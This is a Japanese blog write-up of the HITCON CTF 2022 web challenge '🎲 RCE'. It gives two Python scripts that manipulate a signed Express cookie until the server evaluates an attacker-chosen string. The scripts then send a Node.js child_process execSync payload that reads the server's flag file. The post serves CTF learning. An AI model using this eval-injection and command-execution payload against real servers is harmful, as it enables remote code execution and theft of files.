はまやんはまやんはまやん

hamayanhamayan's blog

HITCON CTF 2022 🎲 RCE Writeup

[web] 🎲 RCE

ランダムで先頭から合わせていって、20文字分を良い感じのRCEにしてやればいい。
eval(req.query.n);//を出せばあとは、なんとでもなるので、これを目指す。

最初やった間違い方針

目的のhexに対して1/16を引くまで試す。
だが、結果が分かるのは40文字引いた後なので、1文字目をチェックするには39文字分引いてやる必要があるので、
1文字目では1回の試行で40回のリクエストが必要になる。
2文字目では1回の試行で39回のリクエストが必要になる。
これをやるとだいぶ時間がかかるのだが、期待を胸に試してみる。
以下のようなコードを書いて、(背徳感を胸に)sleep無しでバスターしたが…
15分のインスタンス生存制限に…間に合わない…
運営チーム、すみません…

import requests
import time

cmd = 'eval(req.query.n)//'.encode().hex()
url = 'http://xxx.rce.chal.hitconctf.com/'

print(cmd)
goal = 's%3A6576616c287265712e71756572792e6e292f2'

def init_code():
    r = requests.get(url)
    return r.cookies['code']

code = init_code()

def go(code):
    r = requests.get(url + 'random', cookies={'code':code})
    #print(f"{r.text} | {code}")
    #time.sleep(0.1)
    return r.cookies['code']

def run(code):
    r = requests.get(url + 'random', cookies={'code':code})
    return r.content[36:56].hex()

st = code
for i in range(len(cmd)):
    ok = False
    for _ in range(256):
        cand = go(st)
        c = cand
        for j in range(40 - i - 1):
            c = go(c)
        h = run(c)
        if cmd[:(i+1)] == h[:(i+1)]:
            print(f"{i+1} | {h} | c={cand}")
            st = cand
            ok = True
            break
    if not ok:
        print("NO!!!!")
        exit(-1)

for i in range(40 - len(cmd)):
    st = go(st)

r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':st})
print(r.text)

通った解法

他に攻撃できる部分あるかな?と思って色々調べると
Encrypted Cookies · Issue #12 · expressjs/cookie-parser を偶然見つける。
あ、前半部分はエンコードしてるだけなのね…
それまでは、40個目まで取得して動かして結果を確認していたが、
最後までやらなくてもCookieを見てあっているか判定すればいい。
これならだいぶ早くなる。

import requests
import time

cmd = 'eval(req.query.n);//'.encode().hex()
url = 'http://xxx.rce.chal.hitconctf.com/'

print(cmd)
goal = 's%3A6576616c287265712e71756572792e6e293b2f2f'

def init_code():
    r = requests.get(url)
    return r.cookies['code']

code = init_code()

def go(code):
    r = requests.get(url + 'random', cookies={'code':code})
    #print(f"{r.text} | {code}")
    #time.sleep(0.1)
    return r.cookies['code']

def run(code):
    r = requests.get(url + 'random', cookies={'code':code})
    return r.content[36:56].hex()

for i in range(len(cmd)):
    ok = False
    for _ in range(1010):
        cand = go(code)
        if cand[:(i+5)] == goal[:(i+5)]:
            print(f"{i+1} | c={cand}")
            code = cand
            ok = True
            break
    if not ok:
        print("NO!!!!")
        exit(-1)

r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':code})
print(r.text)